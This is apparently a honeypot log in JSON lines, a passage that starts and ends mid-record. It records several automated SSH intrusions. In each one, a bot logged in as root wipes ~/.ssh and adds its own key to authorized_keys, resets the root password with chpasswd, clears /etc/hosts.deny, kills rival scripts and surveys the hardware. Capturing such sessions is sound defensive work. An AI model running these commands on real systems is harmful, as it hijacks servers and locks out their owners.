AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:33.720549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:34.105085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:34.567966+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YpLAKMixUVyC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:31:35.027112+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:31:35.485679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:35.821510+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:36.291565+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:37.413448+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:37.876851+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:39.237391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:39.708068+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:40.327143+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:40.786280+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:41.265806+00:00","kind":"output","latency_ms":null,"data":" 11:31:41 up 7 days, 8:21, 0 user, load average: 0.34, 0.33, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:41.726601+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:41.992960+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:42.456075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:43.168037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:43.624013+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:43.877501+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:43 up 7 days, 8:21, 0 user, load average: 0.34, 0.33, 0.38\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:44.338030+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:44.925177+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:45.388661+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:45.715376+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:46.168627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:46.800630+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:47.262076+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:48.538569+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:49.002343+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:50.226275+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@ssW0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"439ccd49-b4b1-4e21-8cc7-4c818ee8528b","name":"loyal-vernal-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":59900,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":770,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:08.661148+00:00","ended_at":"2026-08-27T11:31:10.206764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2234,"events":[{"seq":1,"at":"2026-08-27T11:30:39.952861+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:30:40.729628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:30:47.470097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:30:48.242779+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:30:49.015507+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RuCTnyXiz1j0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:30:49.783343+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:30:50.552480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:30:51.210530+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:30:51.979229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:30:53.280117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:30:54.074045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:30:55.467406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:30:56.225020+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:30:56.806235+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:30:57.575300+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:30:57.851079+00:00","kind":"output","latency_ms":null,"data":" 11:30:57 up 7 days, 8:21, 0 user, load average: 0.2, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:30:58.621887+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:30:59.434863+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:00.201238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:00.993971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:01.764039+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:02.037958+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:02 up 7 days, 8:21, 0 user, load average: 0.2, 0.2, 0.23\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:02.806709+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:03.468827+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:04.241020+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:04.946627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:05.731195+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:06.164863+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:06.935043+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:07.878934+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:08.662266+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:09.960099+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"didi123","method":"password","accepted":true,"tier":"other"}]} {"id":"05ba90af-81c7-4248-812c-218af65de5d7","name":"rambling-kindly-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54726,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:08.652883+00:00","ended_at":"2026-08-27T11:31:09.337804+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T11:30:58.252569+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:30:58.546290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:02.467609+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:02.468447+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:02.765177+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0k4FzJAr61FJ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:31:03.066510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:31:03.364443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:03.364811+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:03.665837+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:04.191857+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:04.495119+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:05.051434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:05.353382+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:05.353945+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:05.654191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:05.654706+00:00","kind":"output","latency_ms":null,"data":" 11:31:05 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:05.954634+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:05.955079+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:06.256097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:06.256548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:06.557101+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:06.559016+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:06 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:06.858010+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:06.858363+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:07.158664+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:07.159175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:07.460671+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:07.461628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:07.761868+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:08.346920+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:08.653721+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:09.246257+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"75e0d1c1-2119-4298-b11c-7305bd833462","name":"barren-western-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55158,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:29:53.805813+00:00","ended_at":"2026-08-27T11:29:54.454812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T11:29:41.348072+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:29:41.692605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:29:46.411828+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:29:46.412445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:29:46.765821+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qqEprUOvwu9s\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:29:47.105355+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:29:47.452148+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:29:47.454101+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:29:47.798896+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:29:48.356225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:29:48.710690+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:29:49.203165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:29:49.827480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:29:49.829316+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:29:50.173233+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:29:50.173688+00:00","kind":"output","latency_ms":null,"data":" 11:29:50 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:29:50.525338+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:29:50.525958+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:29:50.876010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:29:50.876445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:29:51.226910+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:29:51.227438+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:51 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:29:51.575160+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:29:51.576664+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:29:51.923496+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:29:51.923916+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:29:52.271710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:29:52.272458+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:29:52.623342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:29:53.139425+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:29:53.806731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:29:54.350190+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"21e6d30b-88fb-4bb2-b82f-051f6e4f2907","name":"meadow-humble-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59058,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":458,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:28:52.029580+00:00","ended_at":"2026-08-27T11:28:53.124626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T11:28:30.532179+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:28:30.979435+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:28:36.134172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:28:36.575227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:28:37.035579+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ahjxiq0xozPd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:28:37.489953+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:28:37.951093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:28:38.629116+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:28:39.090742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:28:40.033074+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:28:40.493783+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:28:41.425483+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:28:41.881991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:28:42.582109+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:28:43.036433+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:28:43.899130+00:00","kind":"output","latency_ms":null,"data":" 11:28:43 up 7 days, 8:18, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU 